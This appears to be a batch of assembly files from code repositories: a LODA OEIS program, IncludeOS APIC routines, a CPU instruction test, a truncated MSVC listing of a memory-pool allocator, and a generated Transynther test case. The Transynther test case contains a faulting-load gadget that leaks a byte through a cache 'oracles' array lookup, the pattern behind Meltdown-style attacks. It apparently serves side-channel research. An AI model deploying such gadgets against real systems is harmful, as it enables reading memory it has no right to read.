2022-01-17T21:53:31.000Z
programs/oeis/170/A170786.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/170/A170786.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A170786: a(n) = n^9*(n^4 + 1)/2. ; 0,1,4352,807003,33685504,611328125,6535385856,48464682007,274945015808,1271126624409,5000500000000,17262535045811,53499182579712,151442855545813,396867717150464,973116755859375,2251834173423616,4952348310391217,10411581612480768,21026653074977419,40960256000000000,77236586009583021,141405632576150272,252019081544564423,438245490136449024,745059967041015625,1240579151353707776,2026281389308230627,3251061000476950528,5130321610052289029,7971624841500000000,12208786368533601631,18446761665895596032,27520200202466452833,40569181981279101184,59136398298810546875,85290914869767438336,121784677088910550237,172249102869455545088,241440478647920869239,335544451072000000000,462551714848474011641,632719062555125236992,859132313437451361043,1158390306150026706944,1551432158326283203125,2064533399586851735296,2730500412625528140047,3590096910656835944448,4693740983030676108049,6103516601562500000000,7895549448660932643051,10162803558595446833152,13018362612685038999053,16599267858918682946304,21070993601469302734375,26632651094636317638656,33523022551979008230057,42027538922107804388608,52486328169564124475459,65303475118848000000000,80957649563149424245861,100014276402878167584512,123139440163990156636863,151115736459027901579264,184860304906892087890625,225445301838505078108416,274121096908467912490267,332342505637386173677568,401798400061861161521469,484445072211803500000000,582543760216999154490071,698702784622901248131072,835924783132687797104473,997659575659274414445824,1187863238445281982421875,1411064016276750976024576,1672435755671445195030677,1977879599566860911171328,2334114745676927049876079,2748779136548864000000000,3230541019660654297965681,3789222390892071030552832,4435935414624564296791883,5183232998833471959465984,6045274794095788205078125,7038009981723971712187136,8179378318537225880401287,9489531014393155066789888,10991073133832367097249289,12709329335355244500000000,14672634891283917676182691,16912654068205264766369792,19464728092996277813649093,22368255082767309808639744,25667104479099960599609375,29410068698095831373316096,33651354888394272341592097,38451119879879082701013248,43876051606707023134431099 mov $1,$0 pow $0,9 mov $2,$1 pow $2,4 mul $2,$0 add $0,$2 div $0,2
204.909091
2,150
0.931233
a01437a776ebdff22c18e06409bb0f040ca3967c
558
asm
Assembly
src/arch/i686/apic_asm.asm
jaeh/IncludeOS
1cc2bcf36758ff5ef3099e0c0c1ee55f0bb1de02
[ "Apache-2.0" ]
3,673
2015-12-01T22:14:02.000Z
2019-03-22T03:07:20.000Z
src/arch/i686/apic_asm.asm
jaeh/IncludeOS
1cc2bcf36758ff5ef3099e0c0c1ee55f0bb1de02
[ "Apache-2.0" ]
960
2015-12-01T20:40:36.000Z
2019-03-22T13:21:21.000Z
src/arch/i686/apic_asm.asm
jaeh/IncludeOS
1cc2bcf36758ff5ef3099e0c0c1ee55f0bb1de02
[ "Apache-2.0" ]
357
2015-12-02T09:32:50.000Z
2019-03-22T09:32:34.000Z
USE32 global spurious_intr:function global lapic_send_eoi:function global get_cpu_id:function global get_cpu_eip:function global get_cpu_esp:function global reboot_os:function section .text get_cpu_id: mov eax, [fs:0x0] ret get_cpu_esp: mov eax, esp ret get_cpu_eip: mov eax, [esp] ret spurious_intr: iret lapic_send_eoi: mov eax, 0xfee000B0 mov DWORD [eax], 0 ret reboot_os: ; load bogus IDT lidt [reset_idtr] ; 1-byte breakpoint instruction int3 reset_idtr: dw 400h - 1 dd 0
14.307692
35
0.689964
da9e79a7b893be0106396000894206788d7d342d
7,209
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1022.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1022.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1022.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0xad9f, %rsi lea addresses_WC_ht+0x1d49b, %rdi nop nop xor %r15, %r15 mov $0, %rcx rep movsl nop sub $54622, %r8 lea addresses_A_ht+0x11c83, %r11 nop nop nop sub %r9, %r9 movw $0x6162, (%r11) nop nop nop nop sub $26727, %r8 lea addresses_D_ht+0xc461, %r11 nop nop nop nop nop add $37314, %r8 mov (%r11), %di nop nop sub $58990, %r8 lea addresses_A_ht+0x1819f, %rsi lea addresses_UC_ht+0x17d9f, %rdi nop nop nop nop dec %r12 mov $64, %rcx rep movsw nop nop nop nop nop and %rdi, %rdi lea addresses_WT_ht+0x4687, %rsi nop nop nop nop add %rcx, %rcx mov $0x6162636465666768, %r9 movq %r9, %xmm1 movups %xmm1, (%rsi) nop nop and $38192, %rdi lea addresses_normal_ht+0x1c837, %rdi nop nop nop nop nop and %r11, %r11 movw $0x6162, (%rdi) nop nop nop nop and %rdi, %rdi lea addresses_A_ht+0xa94b, %r9 nop nop nop cmp %rdi, %rdi mov (%r9), %r15w nop inc %rdi lea addresses_UC_ht+0x15a33, %rsi lea addresses_WC_ht+0x1159f, %rdi nop inc %r8 mov $94, %rcx rep movsw and %rdi, %rdi lea addresses_WC_ht+0x1c59f, %r11 nop nop nop nop nop sub $4530, %r15 mov (%r11), %r12d nop nop nop and %r12, %r12 lea addresses_A_ht+0x3d9f, %rsi lea addresses_WT_ht+0xbd9f, %rdi clflush (%rsi) nop inc %r12 mov $121, %rcx rep movsq nop nop nop nop sub $30890, %r12 pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %r9 push %rbx push %rdx // Store lea addresses_WC+0x591f, %r14 nop nop nop nop nop xor $1701, %rbx mov $0x5152535455565758, %r8 movq %r8, (%r14) nop nop nop add %r8, %r8 // Store mov $0x2035f400000005b3, %r15 nop sub $58389, %rdx mov $0x5152535455565758, %r9 movq %r9, %xmm5 movups %xmm5, (%r15) nop nop dec %rdx // Load lea addresses_WC+0x14d5f, %rdx nop nop nop cmp %rbx, %rbx movb (%rdx), %r9b nop sub $33886, %rbx // Faulty Load lea addresses_PSE+0x5d9f, %r14 nop nop nop nop cmp %r15, %r15 movb (%r14), %dl lea oracles, %rbx and $0xff, %rdx shlq $12, %rdx mov (%rbx,%rdx,1), %rdx pop %rdx pop %rbx pop %r9 pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': True, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 11, 'type': 'addresses_WT_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
32.917808
2,999
0.655431
76bdb51059ee3417c7746aaa96f52f88f19942c0
2,933
asm
Assembly
testc/cputest/shldshrd.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
124
2020-03-17T05:49:47.000Z
2022-03-27T00:11:33.000Z
testc/cputest/shldshrd.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
40
2020-05-24T12:50:43.000Z
2022-02-22T05:32:18.000Z
testc/cputest/shldshrd.asm
krismuad/TOWNSEMU
49c098ecb4686a506a208e01271ed135c0c3c482
[ "BSD-3-Clause" ]
11
2020-05-26T17:52:04.000Z
2021-07-31T01:07:31.000Z
.386p ASSUME CS:CODE PUBLIC TEST_SHLD_SHRD32 PUBLIC TEST_SHLD_SHRD16 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EFLAGS_CF EQU 000000001H EFLAGS_PF EQU 000000004H EFLAGS_AF EQU 000000010H EFLAGS_ZF EQU 000000040H EFLAGS_SF EQU 000000080H EFLAGS_TF EQU 000000100H EFLAGS_DF EQU 000000400H EFLAGS_OF EQU 000000800H EFLAGS_NF EQU 000004000H EFLAGS_RF EQU 000010000H EFLAGS_VF EQU 000020000H ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CODE SEGMENT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; void TEST_SHLD_SHRD32(unsigned int res[6],unsigned int EAX,unsigned int EDX,unsigned int ECX); ; void TEST_SHLD_SHRD16(unsigned int res[6],unsigned int EAX,unsigned int EDX,unsigned int ECX); TEST_SHLD_SHRD32 PROC PUSH EBP ; [EBP]=PrevEBP, [EBP+4]=EIP, [EBP+8]=ResultPtr, [EBP+12]=EAX, [EBP+16]=EDX, [EBP+20]=ECX MOV EBP,ESP PUSHAD MOV EDI,[EBP+8] PUSHFD AND BYTE PTR [ESP],0FFH-(EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF) POPFD MOV EAX,[EBP+12] MOV EDX,[EBP+16] MOV ECX,[EBP+20] SHLD EAX,EDX,CL PUSHFD POP EBX AND EBX,EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF MOV [EDI ],EAX MOV [EDI+4],EDX MOV [EDI+8],EBX PUSHFD AND BYTE PTR [ESP],0FFH-(EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF) POPFD MOV EAX,[EBP+12] MOV EDX,[EBP+16] MOV ECX,[EBP+20] SHRD EAX,EDX,CL PUSHFD POP EBX AND EBX,EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF MOV [EDI+12],EAX MOV [EDI+16],EDX MOV [EDI+20],EBX POPAD POP EBP RET TEST_SHLD_SHRD32 ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; TEST_SHLD_SHRD16 PROC PUSH EBP ; [EBP]=PrevEBP, [EBP+4]=EIP, [EBP+8]=ResultPtr, [EBP+12]=EAX, [EBP+16]=EDX, [EBP+20]=ECX MOV EBP,ESP PUSHAD MOV EDI,[EBP+8] PUSHFD AND BYTE PTR [ESP],0FFH-(EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF) POPFD MOV EAX,[EBP+12] MOV EDX,[EBP+16] MOV ECX,[EBP+20] SHLD AX,DX,CL PUSHFD POP EBX AND EBX,EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF MOV [EDI ],EAX MOV [EDI+4],EDX MOV [EDI+8],EBX PUSHFD AND BYTE PTR [ESP],0FFH-(EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF) POPFD MOV EAX,[EBP+12] MOV EDX,[EBP+16] MOV ECX,[EBP+20] SHRD AX,DX,CL PUSHFD POP EBX AND EBX,EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF MOV [EDI+12],EAX MOV [EDI+16],EDX MOV [EDI+20],EBX POPAD POP EBP RET TEST_SHLD_SHRD16 ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CODE ENDS END
21.408759
112
0.52165
7bd36632ff4037b4a560098888cf2aa7f525a575
13,463
asm
Assembly
Object/Optimized/kernel/Pool.asm
collinsmichael/spartan
e0f85504d45fea8337cc3f87c357e6ac4034d3ba
[ "MIT" ]
16
2018-04-24T20:50:57.000Z
2022-01-09T22:51:35.000Z
Object/Optimized/kernel/Pool.asm
collinsmichael/spartan
e0f85504d45fea8337cc3f87c357e6ac4034d3ba
[ "MIT" ]
1
2019-08-11T12:27:45.000Z
2019-12-02T12:25:41.000Z
Object/Optimized/kernel/Pool.asm
collinsmichael/spartan
e0f85504d45fea8337cc3f87c357e6ac4034d3ba
[ "MIT" ]
4
2018-07-23T20:10:19.000Z
2021-09-29T17:23:15.000Z
; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.40629.0 TITLE C:\Users\cex123\Desktop\FYP\develop\spartan\Source\Kernel\Memory\Heap\Pool.c .686P .XMM include listing.inc .model flat INCLUDELIB OLDNAMES PUBLIC _Pool PUBLIC ??_C@_0BC@DJNCIINJ@pool?5?5?5?5?5?5?5?5?$DN?5?$CFX?6?$AA@ ; `string' PUBLIC ??_C@_0BC@NLPJAHIB@pool?9?$DOGran?5?5?$DN?5?$CFX?6?$AA@ ; `string' PUBLIC ??_C@_0BC@ECLEGJJM@pool?9?$DOCount?5?$DN?5?$CFX?6?$AA@ ; `string' PUBLIC ??_C@_0BC@CDMIIOJF@pool?9?$DONext?5?5?$DN?5?$CFX?6?$AA@ ; `string' PUBLIC ??_C@_0BC@EHEOOBEF@pool?9?$DONode?5?5?$DN?5?$CFX?6?$AA@ ; `string' PUBLIC ??_C@_0BC@IFENPCMG@pool?9?$DOData?5?5?$DN?5?$CFX?6?$AA@ ; `string' PUBLIC ??_C@_01EEMJAFIK@?6?$AA@ ; `string' ; COMDAT ??_C@_01EEMJAFIK@?6?$AA@ CONST SEGMENT ??_C@_01EEMJAFIK@?6?$AA@ DB 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@IFENPCMG@pool?9?$DOData?5?5?$DN?5?$CFX?6?$AA@ CONST SEGMENT ??_C@_0BC@IFENPCMG@pool?9?$DOData?5?5?$DN?5?$CFX?6?$AA@ DB 'pool->Data =' DB ' %X', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@EHEOOBEF@pool?9?$DONode?5?5?$DN?5?$CFX?6?$AA@ CONST SEGMENT ??_C@_0BC@EHEOOBEF@pool?9?$DONode?5?5?$DN?5?$CFX?6?$AA@ DB 'pool->Node =' DB ' %X', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@CDMIIOJF@pool?9?$DONext?5?5?$DN?5?$CFX?6?$AA@ CONST SEGMENT ??_C@_0BC@CDMIIOJF@pool?9?$DONext?5?5?$DN?5?$CFX?6?$AA@ DB 'pool->Next =' DB ' %X', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@ECLEGJJM@pool?9?$DOCount?5?$DN?5?$CFX?6?$AA@ CONST SEGMENT ??_C@_0BC@ECLEGJJM@pool?9?$DOCount?5?$DN?5?$CFX?6?$AA@ DB 'pool->Count = ' DB '%X', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@NLPJAHIB@pool?9?$DOGran?5?5?$DN?5?$CFX?6?$AA@ CONST SEGMENT ??_C@_0BC@NLPJAHIB@pool?9?$DOGran?5?5?$DN?5?$CFX?6?$AA@ DB 'pool->Gran =' DB ' %X', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@DJNCIINJ@pool?5?5?5?5?5?5?5?5?$DN?5?$CFX?6?$AA@ CONST SEGMENT ??_C@_0BC@DJNCIINJ@pool?5?5?5?5?5?5?5?5?$DN?5?$CFX?6?$AA@ DB 'pool ' DB ' = %X', 0aH, 00H ; `string' _Pool DD FLAT:_pool _pool DD FLAT:_IPool_CreateMeta DD FLAT:_IPool_Create DD FLAT:_IPool_Alloc DD FLAT:_IPool_Release DD FLAT:_IPool_Insert DD FLAT:_IPool_Remove DD FLAT:_IPool_Debug PUBLIC _IPool_Remove PUBLIC _IPool_Insert PUBLIC _IPool_Release PUBLIC _IPool_Alloc PUBLIC _IPool_Create PUBLIC _IPool_CreateMeta PUBLIC _IPool_Debug ; Function compile flags: /Ogspy ; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\memory\heap\pool.c _TEXT SEGMENT _pool$ = 8 ; size = 4 _IPool_Debug PROC ; 4 : bool IPool_Debug(CPool *pool) { push esi ; 5 : if (!pool) return false; mov esi, DWORD PTR _pool$[esp] test esi, esi jne SHORT $LN1@IPool_Debu xor eax, eax pop esi ; 14 : } ret 0 $LN1@IPool_Debu: ; 6 : Debug("pool = %X\n", pool); push esi push OFFSET ??_C@_0BC@DJNCIINJ@pool?5?5?5?5?5?5?5?5?$DN?5?$CFX?6?$AA@ call _Debug ; 7 : Debug("pool->Gran = %X\n", pool->Gran); push DWORD PTR [esi+16] push OFFSET ??_C@_0BC@NLPJAHIB@pool?9?$DOGran?5?5?$DN?5?$CFX?6?$AA@ call _Debug ; 8 : Debug("pool->Count = %X\n", pool->Count); push DWORD PTR [esi+20] push OFFSET ??_C@_0BC@ECLEGJJM@pool?9?$DOCount?5?$DN?5?$CFX?6?$AA@ call _Debug ; 9 : Debug("pool->Next = %X\n", pool->Next); push DWORD PTR [esi+24] push OFFSET ??_C@_0BC@CDMIIOJF@pool?9?$DONext?5?5?$DN?5?$CFX?6?$AA@ call _Debug ; 10 : Debug("pool->Node = %X\n", pool->Node); push DWORD PTR [esi+8] push OFFSET ??_C@_0BC@EHEOOBEF@pool?9?$DONode?5?5?$DN?5?$CFX?6?$AA@ call _Debug ; 11 : Debug("pool->Data = %X\n", pool->Data); push DWORD PTR [esi+12] push OFFSET ??_C@_0BC@IFENPCMG@pool?9?$DOData?5?5?$DN?5?$CFX?6?$AA@ call _Debug ; 12 : Debug("\n"); push OFFSET ??_C@_01EEMJAFIK@?6?$AA@ call _Debug add esp, 52 ; 00000034H ; 13 : return true; xor eax, eax inc eax pop esi ; 14 : } ret 0 _IPool_Debug ENDP _TEXT ENDS ; Function compile flags: /Ogspy ; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\memory\heap\pool.c _TEXT SEGMENT _pool$ = 8 ; size = 4 _count$ = 12 ; size = 4 _granularity$ = 16 ; size = 4 _nodes$ = 20 ; size = 4 _data$ = 24 ; size = 4 _name$ = 28 ; size = 4 _IPool_CreateMeta PROC ; 16 : bool IPool_CreateMeta(CPool *pool, int count, int granularity, char *nodes, char *data, char *name) { push ebp mov ebp, esp push esi ; 17 : if (!pool) return false; mov esi, DWORD PTR _pool$[ebp] test esi, esi jne SHORT $LN3@IPool_Crea xor eax, eax jmp SHORT $LN4@IPool_Crea $LN3@IPool_Crea: ; 18 : pool->Gran = granularity; mov eax, DWORD PTR _granularity$[ebp] ; 19 : pool->Count = count; ; 20 : pool->Next = 0; ; 21 : pool->Node = nodes; mov ecx, DWORD PTR _nodes$[ebp] and DWORD PTR [esi+24], 0 mov edx, DWORD PTR _count$[ebp] mov DWORD PTR [esi+16], eax ; 22 : pool->Data = data; mov eax, DWORD PTR _data$[ebp] mov DWORD PTR [esi+20], edx mov DWORD PTR [esi+8], ecx mov DWORD PTR [esi+12], eax ; 23 : if (pool->Node) stosd(pool->Node, 'oooo', (pool->Count+3)/4); test ecx, ecx je SHORT $LN2@IPool_Crea lea eax, DWORD PTR [edx+3] cdq and edx, 3 add eax, edx sar eax, 2 push eax push 1869573999 ; 6f6f6f6fH push ecx call _stosd add esp, 12 ; 0000000cH $LN2@IPool_Crea: ; 24 : if (name) movsb(pool->Name, name, 4); cmp DWORD PTR _name$[ebp], 0 je SHORT $LN1@IPool_Crea push 4 push DWORD PTR _name$[ebp] push esi call _movsb add esp, 12 ; 0000000cH $LN1@IPool_Crea: ; 25 : return true; xor eax, eax inc eax $LN4@IPool_Crea: pop esi ; 26 : } pop ebp ret 0 _IPool_CreateMeta ENDP _TEXT ENDS ; Function compile flags: /Ogspy ; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\memory\heap\pool.c _TEXT SEGMENT _pool$ = 8 ; size = 4 _size$ = 12 ; size = 4 _granularity$ = 16 ; size = 4 _IPool_Create PROC ; 28 : bool IPool_Create(CPool *pool, int size, int granularity) { push ebx ; 29 : if (!pool) return false; mov ebx, DWORD PTR _pool$[esp] test ebx, ebx jne SHORT $LN2@IPool_Crea xor eax, eax pop ebx ; 45 : } ret 0 $LN2@IPool_Crea: push esi ; 30 : pool->Gran = (granularity + 3) & ~(3); mov esi, DWORD PTR _granularity$[esp+4] add esi, 3 and esi, -4 ; fffffffcH mov DWORD PTR [ebx+16], esi ; 31 : if (pool->Gran <= 0) return false; jg SHORT $LN1@IPool_Crea xor eax, eax jmp SHORT $LN5@IPool_Crea $LN1@IPool_Crea: ; 32 : pool->Count = align((size - align(sizeof(CPool), 64))/pool->Gran, pool->Gran); mov eax, DWORD PTR _size$[esp+4] ; 33 : pool->Next = 0; ; 34 : ; 35 : char *data = (char*)pool; ; 36 : pool->Data = &data[(pool->Count + 63) & ~(63)]; ; 37 : pool->Node = &data[(sizeof(CPool) + 63) & ~(63)]; lea ecx, DWORD PTR [ebx+64] add eax, -64 ; ffffffc0H and DWORD PTR [ebx+24], 0 xor edx, edx mov DWORD PTR [ebx+8], ecx div esi push edi lea edi, DWORD PTR [esi-1] add edi, eax lea eax, DWORD PTR [esi-1] not eax and edi, eax mov DWORD PTR [ebx+20], edi lea eax, DWORD PTR [edi+63] and eax, -64 ; ffffffc0H add eax, ebx mov DWORD PTR [ebx+12], eax ; 38 : ; 39 : int delta = (int)pool->Data - (int)data; sub eax, ebx ; 40 : int overhead = (delta/pool->Gran + 63) & ~(63); cdq idiv esi lea esi, DWORD PTR [eax+63] ; 41 : stosd(pool->Node, 'oooo', (pool->Count+3)/4); lea eax, DWORD PTR [edi+3] and esi, -64 ; ffffffc0H cdq and edx, 3 add eax, edx sar eax, 2 push eax push 1869573999 ; 6f6f6f6fH push ecx call _stosd ; 42 : stosb(pool->Node, 'x', overhead); push esi push 120 ; 00000078H push DWORD PTR [ebx+8] call _stosb ; 43 : IPool_Debug(pool); push ebx call _IPool_Debug add esp, 28 ; 0000001cH ; 44 : return true; xor eax, eax inc eax pop edi $LN5@IPool_Crea: ; 45 : } pop esi pop ebx ret 0 _IPool_Create ENDP _TEXT ENDS ; Function compile flags: /Ogspy ; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\memory\heap\pool.c _TEXT SEGMENT _pool$ = 8 ; size = 4 _IPool_Alloc PROC ; 48 : if (!pool) return 0; mov ecx, DWORD PTR _pool$[esp-4] test ecx, ecx jne SHORT $LN5@IPool_Allo xor eax, eax ; 57 : } ret 0 $LN5@IPool_Allo: push esi ; 49 : for (int i = pool->Next; (i+1) % pool->Count != pool->Next; i = ++i % pool->Count) { mov esi, DWORD PTR [ecx+24] push edi lea eax, DWORD PTR [esi+1] cdq idiv DWORD PTR [ecx+20] cmp edx, esi je SHORT $LN2@IPool_Allo ; 50 : if (pool->Node[i] != 'x') { mov edi, DWORD PTR [ecx+8] $LL4@IPool_Allo: cmp BYTE PTR [edi+esi], 120 ; 00000078H jne SHORT $LN9@IPool_Allo ; 49 : for (int i = pool->Next; (i+1) % pool->Count != pool->Next; i = ++i % pool->Count) { mov esi, edx lea eax, DWORD PTR [esi+1] cdq idiv DWORD PTR [ecx+20] cmp edx, DWORD PTR [ecx+24] jne SHORT $LL4@IPool_Allo $LN2@IPool_Allo: ; 54 : } ; 55 : } ; 56 : return -1; or eax, -1 $LN13@IPool_Allo: pop edi pop esi ; 57 : } ret 0 $LN9@IPool_Allo: ; 51 : pool->Node[i] = 'x'; lea eax, DWORD PTR [esi+1] mov BYTE PTR [edi+esi], 120 ; 00000078H ; 52 : pool->Next = (i+1) % 